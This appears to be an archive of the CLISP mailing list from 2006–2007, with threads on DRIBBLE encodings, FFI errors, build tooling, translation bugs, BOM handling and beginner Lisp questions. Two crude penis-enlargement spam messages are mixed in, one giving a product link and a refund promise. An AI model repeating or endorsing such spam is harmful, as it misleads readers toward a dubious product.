>> everything worked as expected.  What I don't know if
>> this error is triggered by code in clsql and a fix in clsql is
>> in order or that something else is going on.
>
> i.e., SQL worked as expected, as if there was no error?
> this implies a bug in CFFI (or whatever FFI wrapper SQL is using):
> it should not try to refresh the foreign function object using the
> :DEFAULT dll.

yes.  For every (new?) function that is called I got that error.
If I choose 'continue' the results are as expected.
I thought maybe the result was cached.  But I used
a command line argument to choose the database to connect and
it still worked.  

Wim Oudshoorn.


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Hoehle, Joerg-Cyril writes:
> Pascal Bourguignon wrote:
> >If I launch with clisp -norc -E utf-8 it works ok.
> >C/USER[132]> (ext:convert-string-to-bytes "=C3=A7=C4=B1kartmak" charse=
t:utf-8)
> >*** - Character #\u0131 cannot be represented in the character set
> >       CHARSET:ISO-8859-15
> >SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
>=20
> Cannot reproduce. Please tell us how you launched CLISP (e.g. $LANG
> and $LC_* settings and other relevant stuff).
>=20
> The funny thing I observe is if I paste the turkish characters into
> a Gnome terminal set to UTF-8 where CLISP runs with LANG=3DC
> lispinit.mem, then the two non-ASCII characters disappear (and
> (length "kartmak") is 7, so nothing invisible here). I have no idea
> what process is causing this. Possibly readline?

Ok, I've found the problem:

I have a dribble open, and while the terminal is in utf-8, the files
are in iso-8859-15 by default.

*DEFAULT-FILE-ENCODING*          #<ENCODING ISO-8859-15 UNIX>
*TERMINAL-ENCODING*              #<ENCODING UTF-8 UNIX>


Now, the problem is that DRIBBLE doesn't take an external-format
argument, so I cannot portably specify the encoding for the dribble
file...

The above error message is signaled even before
CONVERT-STRING-TO-BYTES is called, by the input processing of
DRIBBLE.=20


Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ?

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Pascal Bourguignon wrote:
> 
> I have a dribble open, and while the terminal is in utf-8, the files
> are in iso-8859-15 by default.
> 
> *DEFAULT-FILE-ENCODING*          #<ENCODING ISO-8859-15 UNIX>
> *TERMINAL-ENCODING*              #<ENCODING UTF-8 UNIX>
> 
> 
> Now, the problem is that DRIBBLE doesn't take an external-format
> argument, so I cannot portably specify the encoding for the dribble
> file...
> 
> The above error message is signaled even before
> CONVERT-STRING-TO-BYTES is called, by the input processing of
> DRIBBLE. 
> 
> Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ?

I am not sure this is a good idea.
dribble file is a *file*, after all.
How about a warning in DRIBBLE:

(unless (or (eq *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*)
             (and (subtypep *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*)
                  (subtypep *TERMINAL-ENCODING* *DEFAULT-FILE-ENCODING*)))
   (warn "~S: ~S and ~S cover different character ranges, you will be 
restricted to their intersection while dribbling is in effect" 'dribble 
*DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*))

Sam.



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...
   Pascal Bourguignon wrote:
...
   > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ?
...
   I am not sure this is a good idea.
   dribble file is a *file*, after all.
...

A -*- coding:iso-8859-15 -*- header
would be the traditional lispy way.

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Devon Sean McCullough wrote:
>    Date: Thu, 14 Dec 2006 12:47:11 -0500
>    From: Sam Steingold <sds@gnu.org>
> ...
>    Pascal Bourguignon wrote:
> ...
>    > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ?
> ...
>    I am not sure this is a good idea.
>    dribble file is a *file*, after all.
> ...
> 
> A -*- coding:iso-8859-15 -*- header
> would be the traditional lispy way.

this is orthogonal to the original issue.

it would be nice to be able to use :encoding :detect, so PTC, but this 
cannot be the default because of backward compatibility, performance and 
user-expectation issues (overwriting a file which contains "-*-" would 
preserve its encoding which may be a problem for the user if he is 
replacing an unrelated temp file - you would not want to inherit the 
encoding in that case).

Sam.


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Sam Steingold writes:
> Pascal Bourguignon wrote:
> >=20
> > I have a dribble open, and while the terminal is in utf-8, the files
> > are in iso-8859-15 by default.
> >=20
> > *DEFAULT-FILE-ENCODING*          #<ENCODING ISO-8859-15 UNIX>
> > *TERMINAL-ENCODING*              #<ENCODING UTF-8 UNIX>
> >=20
> >=20
> > Now, the problem is that DRIBBLE doesn't take an external-format
> > argument, so I cannot portably specify the encoding for the dribble
> > file...
> >=20
> > The above error message is signaled even before
> > CONVERT-STRING-TO-BYTES is called, by the input processing of
> > DRIBBLE.=20
> >=20
> > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ?
>=20
> I am not sure this is a good idea.
> dribble file is a *file*, after all.
> How about a warning in DRIBBLE:
>=20
> (unless (or (eq *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*)
>              (and (subtypep *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*=
)
>                   (subtypep *TERMINAL-ENCODING* *DEFAULT-FILE-ENCODING*=
)))
>    (warn "~S: ~S and ~S cover different character ranges, you will be=20
> restricted to their intersection while dribbling is in effect" 'dribble=
=20
> *DEFAULT-FILE-ENCODING* *TERMINAL-ENCODING*))

That would be good enough to prevent other people losing too much time
on this problem.

This warning:

   (warn "~S: CUSTOM:*DEFAULT-FILE-ENCODING* and CUSTOM:*TERMINAL-ENCODIN=
G*=20
cover different character ranges, you will be restricted to their interse=
ction
while dribbling is in effect" 'dribble)

would even allow them to know what "variable" can be modified to
correct the problem.

--=20
__Pascal Bourguignon__                     http://www.informatimago.com/

PLEASE NOTE: Some quantum physics theories suggest that when the
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    > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ?

Yes, because interactive debug features like dribble
should maximize productivity and minimize surprises.
Users expect dribble files to copy terminal output,
encoding and all, thus

;; Dribble started 2006-12-15 02:54:13 -*- coding:iso-8859-15 -*-

seems most desirable and compatible with existing practice.

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PS: Sorry if my meaning was unclear, I hope it is clear now.

PPS: I do not understand the reply quoted below
so there may be important issues I'm unaware of.

Date: Thu, 14 Dec 2006 14:24:22 -0500
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Devon Sean McCullough wrote:
>    Date: Thu, 14 Dec 2006 12:47:11 -0500
>    From: Sam Steingold <sds@gnu.org>
> ...
>    Pascal Bourguignon wrote:
> ...
>    > Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ?
> ...
>    I am not sure this is a good idea.
>    dribble file is a *file*, after all.
> ...
> 
> A -*- coding:iso-8859-15 -*- header
> would be the traditional lispy way.

this is orthogonal to the original issue.

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cannot be the default because of backward compatibility, performance and 
user-expectation issues (overwriting a file which contains "-*-" would 
preserve its encoding which may be a problem for the user if he is 
replacing an unrelated temp file - you would not want to inherit the 
encoding in that case).

Sam.

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Sam wrote:
> it would be nice to be able to use :encoding :detect, so PTC, but this 
> cannot be the default because of backward compatibility, performance and 
> user-expectation issues (overwriting a file which contains "-*-" would 
> preserve its encoding which may be a problem for the user if he is 
> replacing an unrelated temp file - you would not want to inherit the 
> encoding in that case).

Autodetection of encoding would be ok if it worked reliably. But without
the "-*- coding: ... -*-" convention, a software can only guess (using
buggy heuristics). And with the "-*- coding: ... -*-" convention you need
to know the comment syntax: ';' is for Lisp source code only; '.\"' is
for manpages only, etc. - and some types of files, such as CSV, don't have
comments at all, so there's no possibility of storing a "-*- coding: ... -*-"
comment.

These different encodings were needed features during the switch from old
encodings to Unicode (ca. 2000-2003). Nowadays, a user is better served by
using an UTF-8 locale from the beginning, than by using a particular encoding
here and a different encoding there.

Bruno


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Bruno Haible writes:
> Sam wrote:
> > it would be nice to be able to use :encoding :detect, so PTC, but thi=
s=20
> > cannot be the default because of backward compatibility, performance =
and=20
> > user-expectation issues (overwriting a file which contains "-*-" woul=
d=20
> > preserve its encoding which may be a problem for the user if he is=20
> > replacing an unrelated temp file - you would not want to inherit the=20
> > encoding in that case).
>=20
> Autodetection of encoding would be ok if it worked reliably. But withou=
t
> the "-*- coding: ... -*-" convention, a software can only guess (using
> buggy heuristics). And with the "-*- coding: ... -*-" convention you ne=
ed
> to know the comment syntax: ';' is for Lisp source code only; '.\"' is
> for manpages only, etc. - and some types of files, such as CSV, don't h=
ave
> comments at all, so there's no possibility of storing a "-*- coding: ..=
. -*-"
> comment.

No, you don't need to know the comment syntax.
You only need to match -\*-\(.*\)-\*- on the first two lines.
Have a look at:
http://darcs.informatimago.com/darcs/public/lisp/common-lisp/make-depends=
.lisp
(Search for: Emacs File Local Variables)
and the doc of emacs.  (Note that the coding could also be stored in
the last block, between Local Variables: and End:).

Autodetection of encoding is not 100% reliable, but when you get
strong hints such as Content-Type: ...;charset=3D... or -*- coding:... -*=
-,
there's no reason why not to use them.


> These different encodings were needed features during the switch from o=
ld
> encodings to Unicode (ca. 2000-2003). Nowadays, a user is better served=
 by
> using an UTF-8 locale from the beginning, than by using a particular en=
coding
> here and a different encoding there.

The problem is that there are several different users on different
systems and using libraries developed at different times.  When I load
some older libraries, I can use ASCII, for some other I need
iso-8859-1, for more recent libraries, iso-8859-15, and finally utf-8.

Granted, I plan to switch everything I can to UTF-8, but we must still
be ready to process older files.


--=20
__Pascal Bourguignon__                     http://www.informatimago.com/
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Hi,

>> Perhaps DRIBBLE should use CUSTOM:*TERMINAL-ENCODING* ?
>I am not sure this is a good idea.
>dribble file is a *file*, after all.

IMHO, a dribbling stream should reproduce, at the byte-level, what was
sent to the terminal stream.  All other proposals so far may fail in the
presence of the user switching the terminal-encoding on the fly, and
AFAIK we have no broadcast streams that can switch encodings on the fly
(i.e. apply the switch to the constituents, which may be considered a
feature integration flaw).

IMHO, the idea of dribbling is to faithfully reproduce I/O of a session.
Then at least, the programmer is sure of what was output and can use
that information for debugging.  If one wishes to view a dribble file
with another encoding, s/he can recode the dribble file (assuming a
single encoding was used).


Alas, the current implementation does not work like this.  Here I think
*terminal-encoding* (snapshot at the time sribble is started) is a
reasonable choice for the dribble file and functionality.  It adheres to
the principle of least surprise.  It would not have led to Pascal's bug
report.  *default-file-encoding* is a red herring.

Since "dribble is intended primarily for interactive debugging", I see
no reason against adding an initial ";;; Hey Emacs -*- mode ... encoding
....~%" line that Emacs would know how to parse (preferrably only ASCII
characters encoded using *terminal-encoding*).

#<OUTPUT BROADCAST-STREAM
  #<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"C:\\Winnt\\temp\\foo1.log">
  #<OUTPUT BUFFERED FILE-STREAM CHARACTER
#P"C:\\Winnt\\temp\\bar1.log">>
[21]> (setf (stream-external-format *) charset:ascii)
*** - SYSTEM::SET-STREAM-EXTERNAL-FORMAT on
       #<OUTPUT BROADCAST-STREAM
         #<OUTPUT BUFFERED FILE-STREAM CHARACTER
#P"C:\\Winnt\\temp\\foo1.log">
         #<OUTPUT BUFFERED FILE-STREAM CHARACTER
           #P"C:\\Winnt\\temp\\bar1.log">>
      is illegal
Why not apply (SETF STREAM-EXTERNAL-FORMAT) on all constituent streams?
Of course, what's the specification of STREAM-EXTERNAL-FORMAT when
applied to a BROADCAST-STREAM?
CLHS says STREAM-EXTERNAL-FORMAT applies to file streams. Thus extending
the function to broadcast streams is not portable.
But that's another topic than DRIBBLE.
Maybe CLISP should signal an error upon (STREAM-EXTERNAL-FORMAT #<stream
not file stream, e.g. broadcast>)?

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril wrote:
> IMHO, a dribbling stream should reproduce, at the byte-level, what was
> sent to the terminal stream.

I fixed this on 2006-12-17 in a similar way.

Sam.



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In the summer of 2005 I developed a GNU Make include file which, based
on some input variables, produces a set of rules that build a custom
CLISP linking set. This replaces the functionality of the clisp-link
shell script in a way that plugs right into a make project. It does
everything, including the intermediate memory image trick for
preloading modules such as package definitions.  It builds modules.h,
and groks the "makevars" script from the original linking set to get
the right flags and libs, etc.

There is also the feature of renaming the main function to something
else, so you can write your own main, allowing you, for instance, to
write C code to edit the environment or arguments before passing
control to CLISP, or to call any global init functions you might need
in your C modules. This is not found in clisp-link.

The following exemplifies all you have to do to set up a link job in
your makefile:

#  # your preferred namespace prefix
#  # this allows for multiple instantiation of the rules
#  # for independent builds of different linking sets
#
#  CLK := FOO_
#
#  FOO_SOURCE_LS := base   # name of source linking set
#  FOO_TARGET_DIR := foo-clisp/   # where to put new clisp
#  FOO_MODULES := foo-custom-ffi-bindings # custom bindings module
#  FOO_OBJECTS := foo-custom-functions foo-main # .o files: one contains main()
#  FOO_PRELOAD := foo-package # load this into intermediate mem image
#  FOO_RENAME_MAIN := clisp_main  # change name of main to this
#  FOO_LOAD := foo-lib  # finally, load these Lisp files
#
#  include clisp-link.mk  # this does all the hard work!
#
#  # Force a the build of the cutom lisp executable and mem image
#  # by, e.g., making "all" target dependent on them.
#
#  .PHONY: all
#  all: $(FOO_RUN_TGT) $(FOO_MEM_TGT)
#
#  # clean rule, using clisp-link.mk's output variable
#  # the variable has only things created by the clisp-link.mk rules,
#  # not any of the .fas or .o files that go in as inputs!
#
#  .PHONY: clean
#  clean:
#       -rm -rf $(FOO_CLEAN)

Of course, you need to supply rules to build your $(FOO_OBJECTS).
Compiling the LOAD and PRELOAD Lisp stuff to .fas is taken care of.


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Kaz Kylheku wrote:
> In the summer of 2005 I developed a GNU Make include file which, based

So, this is GNU Make - specific, and will no work on Solaris, BSD &c &c?
In that case I don't think we can drop clisp-link.sh in favor of this.

> on some input variables, produces a set of rules that build a custom
> CLISP linking set. This replaces the functionality of the clisp-link
> shell script in a way that plugs right into a make project. It does
> everything, including the intermediate memory image trick for
> preloading modules such as package definitions.  It builds modules.h,
> and groks the "makevars" script from the original linking set to get
> the right flags and libs, etc.

very interesting.
Presumably, you have been using it successfully for 1.5 years now?

> There is also the feature of renaming the main function to something
> else, so you can write your own main, allowing you, for instance, to
> write C code to edit the environment or arguments before passing
> control to CLISP, or to call any global init functions you might need
> in your C modules. This is not found in clisp-link.

there are already two module init functions, but, I guess, you want to 
run something before step 1a in 
http://clisp.cons.org/impnotes/custom-init-fini.html
right?

> Compiling the LOAD and PRELOAD Lisp stuff to .fas is taken care of.

usually you do not compile PRELOAD because it contains just one form: 
(make-package "FOO")

Sam.




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Should the "-modern" command line option make (:modern t) default for 
defpackage?
any "-modern" users out there?
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In src/po/fr.po:

#: lisparit.d:1608
#, fuzzy, lisp-format
msgid "~S: the value of ~S should be a ~S, not ~S"
msgstr "~S : La valeur de ~S devrait =EAtre un =ABrandom-state=BB et non =
~S."

should be:

#: lisparit.d:1608
#, fuzzy, lisp-format
msgid "~S: the value of ~S should be a ~S, not ~S"
msgstr "~S : La valeur de ~S devrait =EAtre un ~S et non ~S."


I've not checked, perhaps a similar change is needed in othe other
languages too...


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Hello, all,

I need to provide a way for clisp to search for my couple of directories
for my lisp files that could contain some modules.

How do I specify those?

Can you please kindly teach me for several LISP implementations?

I tried RTFS, but haven't succeeded, as I am very new to this field.
(I happen to do toy lisp programming way 15 years back in university but
now I am as fresh as newcomer :) :) )

Thanks in advance.
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Vadim wrote:
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> I need to provide a way for clisp to search for my couple of directories
> for my lisp files that could contain some modules.

http://clisp.cons.org/impnotes/system-dict.html#load-paths



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Sam Steingold wrote:

> Vadim wrote:
>
>>
>> I need to provide a way for clisp to search for my couple of directories
>> for my lisp files that could contain some modules.
>
>
> http://clisp.cons.org/impnotes/system-dict.html#load-paths
>

Thanks a lot!



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I merged mit-clx with telent-clx. My message to clx-devel with my patch
here: 

http://article.gmane.org/gmane.lisp.clx.devel/138

I tried telent-clx with examples from clx/demo and with McCLIM. I
didn't perform any stress test and didn't run CLX on any remote X
client. This patch must be applied against clx from Darcs repository
(0.7.2).



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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2007-01-04 09:53:18 +0100]:
>
> In src/po/fr.po:
>
> #: lisparit.d:1608
> #, fuzzy, lisp-format
> msgid "~S: the value of ~S should be a ~S, not ~S"
> msgstr "~S : La valeur de ~S devrait =EAtre un =ABrandom-state=BB et non =
~S."
>
> should be:
>
> #: lisparit.d:1608
> #, fuzzy, lisp-format
> msgid "~S: the value of ~S should be a ~S, not ~S"
> msgstr "~S : La valeur de ~S devrait =EAtre un ~S et non ~S."
>
>
> I've not checked, perhaps a similar change is needed in othe other
> languages too...

if you look at the messages around that one, you will see that just
about everything is broken.
one has to go through the whole file and fix it.
do you volunteer to do that?
(if you do, your name will be immortalized in clisp/src/ChangeLog :-)

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> * Evgeny M. Zubok <ritral.mhobx@gbpuxn.eh> [2007-01-07 02:10:59 +0000]:
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> I merged mit-clx with telent-clx. My message to clx-devel with my patch
> here: 
>
> http://article.gmane.org/gmane.lisp.clx.devel/138
>
> I tried telent-clx with examples from clx/demo and with McCLIM. I
> didn't perform any stress test and didn't run CLX on any remote X
> client. This patch must be applied against clx from Darcs repository
> (0.7.2).

that's great!  thanks!
now, when the telent-clx people merge your patch into the official
distribution, we will need to merge telent-clx into clisp mit-clx and
keep it in sync with the future developments of telent-clx.


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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2007-01-04 09:53:18 +01=
00]:
> >
> > In src/po/fr.po:
> >
> > #: lisparit.d:1608
> > #, fuzzy, lisp-format
> > msgid "~S: the value of ~S should be a ~S, not ~S"
> > msgstr "~S : La valeur de ~S devrait =EAtre un =ABrandom-state=BB et =
non ~S."
> >
> > should be:
> >
> > #: lisparit.d:1608
> > #, fuzzy, lisp-format
> > msgid "~S: the value of ~S should be a ~S, not ~S"
> > msgstr "~S : La valeur de ~S devrait =EAtre un ~S et non ~S."
> >
> >
> > I've not checked, perhaps a similar change is needed in othe other
> > languages too...
>=20
> if you look at the messages around that one, you will see that just
> about everything is broken.
> one has to go through the whole file and fix it.
> do you volunteer to do that?
> (if you do, your name will be immortalized in clisp/src/ChangeLog :-)

I might, but not right now.  I need to find a new (preferably lisp) job n=
ow. ;-)

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2007/1/3, Sam Steingold <sds@gnu.org>:
> Should the "-modern" command line option make (:modern t) default for
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I was trying win32 with modern but I need some time to catch up after
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Hello Man

I don't care why your Johnson is so small, but 78% of women do.
They are pretty sure that bigger woody will make their desire
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Hi,

I have two files with similar text in them:

	First line
	Sec line
	3rd line

First file is saved as "UTF16-LE" with BOM and I read one
line from it like this:

(with-open-file (stream "/home/pekka/practicalcl/test_utf16.txt" 
:external-format "utf-16")
	   (format t "~a~%" (read-line stream)))
First line
NIL

All fine. But when I save the file in "UTF-8" with BOM I get this:

CL-USER> (with-open-file (stream "/home/pekka/practicalcl/test_utf8.txt" 
:external-format "utf-8")
	   (format t "~a~%" (read-line stream)))
  First line # Note here the extra blank. Pekka.
NIL

Another try fails too:

CL-USER> (with-open-file (stream /home/pekka/practicalcl/test_utf8.txt")
	   (format t "~a~%" (read-line stream)))
CFirst line  First line # Note here the extra "C". Pekka.
NIL

How can I read "UTF-8" file so that BOM is not processed IF it exists?


Fraction of my .emacs:
----------------- .emacs -------------------------------

;;;; SLIME Setup

(add-to-list 'load-path "C:/home/pekka/slime/")
(set-language-environment "UTF-8")
(setq slime-net-coding-system 'utf-8-unix)
(require 'slime)
(slime-setup :autodoc t)
(setq common-lisp-hyperspec-root "file://C:/home/pekka/HyperSpec/")
(setq inferior-lisp-program "C:/bin/clisp-2.41/clisp.exe -I -q -K full 
-E utf-8")

------------------------------------------------

-pekka-



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YO Buddy

I don't care why your weenie is so small, but 88% of women do.
They are pretty sure that bigger meat will make their desire
stronger. You have the chance to change your life.

Here http://www.kidtechtools.com you can get the thing.

It will help you for sure.
The remedy can be sent worldwide.
If you wont be satisfied - we will return all you money.
No bullshit.



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> * Pekka Niiranen <crxxn.avvenara@jynaznvy.pbz> [2007-01-13 15:30:14 +0200]:
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> But when I save the file in "UTF-8" with BOM I get this:

CLISP does not support BOM.
please save your file with plain UTF-8.

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Sam Steingold wrote:
>> * Pekka Niiranen <crxxn.avvenara@jynaznvy.pbz> [2007-01-13 15:30:14 +0200]:
>>
>> But when I save the file in "UTF-8" with BOM I get this:
> 
> CLISP does not support BOM.
> please save your file with plain UTF-8.
> 

Thank you for your answer.

Sadly I cannot remove BOM but I will try to
"strip" it if the line starts with it as I do in the Python
program I am trying to convert into Lisp:

# Strip the BOM from the beginning of the Unicode string, if it exists
u.lstrip( unicode( codecs.BOM_UTF8, "utf8" ) )

Another issue: I am reading "Practical Common Lisp"
and in "chapter 15" it speaks about "quirks" in Clisp's design
when it comes in listing directories.
As a beginner, I find it bad publicity for Clisp.
Furthermore, I would like to see Clisp being ported into
latest OpenBSD too. Any comments?

-pekka-



	






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> * Pekka Niiranen <crxxn.avvenara@jynaznvy.pbz> [2007-01-15 20:56:08 +0200]:
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> Another issue: I am reading "Practical Common Lisp"
> and in "chapter 15" it speaks about "quirks" in Clisp's design
> when it comes in listing directories.
> As a beginner, I find it bad publicity for Clisp.

"there is no such thing as bad publicity" :-)

> Furthermore, I would like to see Clisp being ported into
> latest OpenBSD too. Any comments?

I am not aware of any problems.
CLISP front page links to the OpenBSD port.


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Hi guys,

I have only CLISP 2.38 installed here, sorry, but I will try it on the
latest version at the soonest opportunity.

;;; good:

``((,@(quote ,(list 1))))
--> '((1))

;;; now add another ,@ and watch bizarre screwup:

``((,@(quote ,(list 1)) ,@(list 2)))
-->   (LIST (LIST (QUOTE) '(LIST 1) 2))

(macroexpand-1 '``((,@(quote ,(list 1)) ,@(list 2))))
-->  `(LIST (LIST 'SYSTEM::UNQUOTE '(LIST 1) 2))

It appears to be related to system::*backquote-optimize-append*. When
this is reset to NIL, you get this:

``((,@(quote ,(list 1)) ,@(list 2)))
-->  (LIST (APPEND '(1) (LIST 2)))

which is fine.


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Kaz wrote:
>I have only CLISP 2.38 installed here, sorry, but I will try it on the
>latest version at the soonest opportunity.

Fixed since 2006-03-06, i.e. 2.39, by Bruno Haible.

>``((,@(quote ,(list 1)) ,@(list 2)))
>-->  (LIST (APPEND '(1) (LIST 2)))
>which is fine.

Regards,
	Jorg Hohle.


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Hi,
Im a LISP beginner and I would like some help.
I have 2 problems that might be easy for an advanced programmer:

1. A function which will interpolate the values of 2 lists in a number of
steps, so '(1 1 1 1 1) and '(0.5 1 1.5 2 3) would become:
(   1.000   1.000   1.000   1.000   1.000
    0.875   1.000   1.125   1.250   1.500
    0.750   1.000   1.250   1.500   2.000
    0.625   1.000   1.375   1.750   2.500
    0.500   1.000   1.500   2.000   3.000   )

How do I make this?

2. A function that returns a list containing integers between sets of lower
and upper boundaries. For example: function 20 26 23 28 would return:
(20 21 22 23 24 25 26 27 28)
Any even number should be possible.

3. A random generator that chooses values form a list or a stackpile without
repeating any values until all have been used once.

4. A random generator that chooses values form a list or a stackpile with a
specific weight. Example: (weight '(1 2 3) '(4 2 1)) means that 1 has a
weight of 4, 2 has a weight of 2 and 3 has a weight of 1, so 1 will be twice
as much in a list that 2 and so on.

I would grately appreciate if anyone could tell me how to do this, so I can
figure out the rest I want to do. Please help me out!

Thanks, Hans

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;; Hi,
;; Im a LISP beginner and I would like some help.
;; I have 2 problems that might be easy for an advanced programmer:

; I wonder whether or not clisp-list@lists.sourceforge.net is the right
; place to ask such questions. But I had a little spare time this morning,
; so here is a partial answer to question 2 and 3 in case you want to
; write your program in a do-it-yourself-style (which I think is a good
; idea until you are no longer a LISP beginner).

(in-package "COMMON-LISP-USER")



;; 2. A function that returns a list containing integers between sets of 
;; lower and upper boundaries. For example: function 20 26 23 28 would 
;; return: (20 21 22 23 24 25 26 27 28)

; (integer-interval m n) returns the list (m m+1 m+2 ... n) provided
; that m and n are integers and m <= n.

(defun integer-interval (m n)
  (if (< n m) nil
   (cons m (integer-interval (+ m 1) n))))

; (integer-interval-1 m n) also returns the list (m m+1 m+2 ... n)
; provided that m and n are integers and m <= n. But it runs faster.

(defun integer-interval-1 (m n)
  (integer-interval-2 m n nil))

; (integer-interval-2 m n result) returns the list (m m+1 m+2 ... n)
; prepended to the list 'result'.

(defun integer-interval-2 (m n result)
  (if (< n m) result
   (integer-interval-2 m (- n 1) (cons n result))))

; The function above is 'tail recursive' in the sense that the very
; last thing it does when (< n m) is false is that it calls *itself*.
; The integer-interval function is not tail recursive: the last thing
; it does when (< n m) is false is that it calls 'cons'. Tail recursive
; functions happen to be faster than other functions on most systems.

; (question-2 s) returns a list with all integers between the smallest and
; largest element of the non-empty list s of integers. As an example,
; (question-2 '(20 26 23 28)) returns (20 21 22 23 24 25 26 27 28)

(defun question-2 (s)
  (integer-interval-1 (apply 'min s) (apply 'max s)))

; The function above uses (apply 'min s) to apply the minimum function to
; the list s to get the smallest element of the list. If you want to do
; that 'yourself' you can use (smallest-element s) instead:

(defun smallest-element (s)
  (if (atom (cdr s)) (car s)
   (min (car s) (smallest-element (cdr s)))))

; The smallest-element function above is *not* tail recursive. One can make
; it tail recursive and thereby faster using the same trick as the one I
; used for integer-interval above.



;; 3. A random generator that chooses values form a list or a stackpile 
;; without repeating any values until all have been used once.

; The following is *not* a solution to your problem. Rather, I solve
; the related problem of constructing a random permutation of the
; integers from m inclusive to n exclusive. Hopefully, you can adapt
; the code to suit your needs

; (random-permutation m n) returns a random permutation of the numbers
; m,m+1,m+2,...,n-1 provided that m and n are integers and m < n.

(defun random-permutation (m n)
  (format t "random-permutation ~s ~s~%" m n)
  (if (= m (- n 1)) (list m) (random-permutation-1 m (floor (+ m n) 2) n)))

; (random-permutation-1 m d n) returns a random permutation of the numbers
; m,m+1,m+2,...,n-1 provided that m, n, and d are integers and m < d < n.

(defun random-permutation-1 (m d n)
  (format t "random-permutation ~s ~s ~s~%" m d n)
  (random-merge
   (- d m) (random-permutation m d)
   (- n d) (random-permutation d n)))

; (random-merge l1 s1 l2 s2) returns a random merge of the lists s1 and s2
; provided that l1 is the length of s1 and l2 is the length of s2. When
; merging a short and a long list it picks with largest probability from
; the long list. To get all permutations with even probability it is
; important to pick with probability l1/(l1+l2) from the list of length l1.

(defun random-merge (l1 s1 l2 s2)
  (format t "random-merge ~s ~s~%" l1 l2)
  (if (= l1 0) s2
   (if (= l2 0) s1
    (if (< (random (+ l1 l2)) l1)
     (cons (car s1) (random-merge (- l1 1) (cdr s1) l2 s2))
     (cons (car s2) (random-merge (- l2 1) (cdr s2) l1 s1))))))

; Cheers,
; Klaus


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Hans3 writes:
> Im a LISP beginner and I would like some help.
> I have 2 problems that might be easy for an advanced programmer:

Since this is not specific to clisp, but to Common Lisp, a better
forum would be news:comp.lang.lisp
=20

> 1. A function which will interpolate the values of 2 lists in a number =
of
> steps, so '(1 1 1 1 1) and '(0.5 1 1.5 2 3) would become:
> (   1.000   1.000   1.000   1.000   1.000
>     0.875   1.000   1.125   1.250   1.500
>     0.750   1.000   1.250   1.500   2.000
>     0.625   1.000   1.375   1.750   2.500
>     0.500   1.000   1.500   2.000   3.000   )
>=20
> How do I make this?

Good question.  How do YOU do this? =20

You've got three parameters, a from list, a to list, and a number of
steps.  So you should write a function:

(defun interpolate (from-list to-list number-of-steps)
   ...) ; fill in the ellipsis.


What did you do to get the above example result?=20
(or, if given by your teacher, how would YOU do it with:=20
   (interpolate '(0 0 0 0) '(1 2 3 4) 6) ?)


One hint:  it would be easier/more natural to generate interpolations
"line by line":

(interpolate '(0 0) '(3 6) 4)
--> ((0 0)
     (1 2)
     (2 4)
     (3 6))

If you want the result under the form (0 0 1 2 2 4 3 6), you can
always concatenate the resulting sublists in a final step.    What we
have here is a division of the problem in two easier parts.  It's easy
ton concatenate lists, and it's easy (or at least easier than the
original problem) to generate the interpolations "line by line").


> 2. A function that returns a list containing integers between sets of l=
ower
> and upper boundaries. For example: function 20 26 23 28 would return:
> (20 21 22 23 24 25 26 27 28)
> Any even number should be possible.

Basically, the answer is the same;.  How would YOU do it?  How can you
divide the problem in simplier subproblems?


> 3. A random generator that chooses values form a list or a stackpile wi=
thout
> repeating any values until all have been used once.

Idem.

Do you really need to write a random generator (it's hard to do in
computers).  You could write a pseudo-random generator, but is it
what's asked? (There is already a pseudo random generator function in
Common Lisp).  Perhaps what's asked is only to return the values  from
the stackpile in a random order?

What we have here, is that you'd better know your programming language
(and libraries), to be able to use existing operators to your
purposes.  (And also, becareful with specifications, they are often
not precise enough and misleading).
=20

> 4. A random generator that chooses values form a list or a stackpile wi=
th a
> specific weight. Example: (weight '(1 2 3) '(4 2 1)) means that 1 has a
> weight of 4, 2 has a weight of 2 and 3 has a weight of 1, so 1 will be =
twice
> as much in a list that 2 and so on.

Idem. =20

Hint: if you have a (pseudo) random generator giving integers between
      0 and N-1 inclusive in equiprobability, how do you map these
      integers to a set of N elements to keep the equiprobability?
      And would you map these N integers to another set of elements to
      get different probabilities?


> I would grately appreciate if anyone could tell me how to do this, so I=
 can
> figure out the rest I want to do. Please help me out!
>=20
> Thanks, Hans


--=20
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Hi. I'm a newbie and I'm learning Scheme.
I'd like to know how I can perform a substitution in a list.
I mean: I want to write a function that takes two arguments: a list where
the atoms are 1-character strings and a list of replacements (each
describing a 1-character string and its 1-character replacement). It should
yield the list whic results from performing the substitutions specified in
the list pairs on the input list.
E.g.
substitute  ((a (b c) d) a (f b)) ((a z) (b y))
returns the list ((z (y c) d) z (f y))  

Thanks in advance.

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lisp wrote:
> Hi. I'm a newbie and I'm learning Scheme.

Then you are definitely posting this to the *wrong* list.

The clisp list is for the discussion of the CLISP Common Lisp 
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newbie questions. If you have specific questions about CLISP, you are 
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For your particular sorts of questions, comp.lang.scheme would be a much 
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Hi clisp-list@lists.sourceforge.net,

If I type

(map 'list 'char-code
  (convert-string-from-bytes #(65 92 27 40 74 92 168)
   (make-encoding
    :charset "ISO-2022-JP"
    :line-terminator :unix
    :input-error-action #\Null
    :output-error-action #\Null)))

then I get

(65 92 165 0)

The input #(65 92 27 40 74 92 168) consists of an ascii A (65), an 
ascii backslash (92), a shift to Japanese sequence (27 40 74), a yen sign 
(92) and a katakana glyph (168).

The output (65 92 165 0) consists of an ascii A (65), an ascii backslash 
(92) a yen sign (165) and an invalid character (0).

So the shift to Japanese sequence (27 40 74) seems to be recognized, but 
katakana (code 161-223) does not seem to be recognized.

Any suggestions?

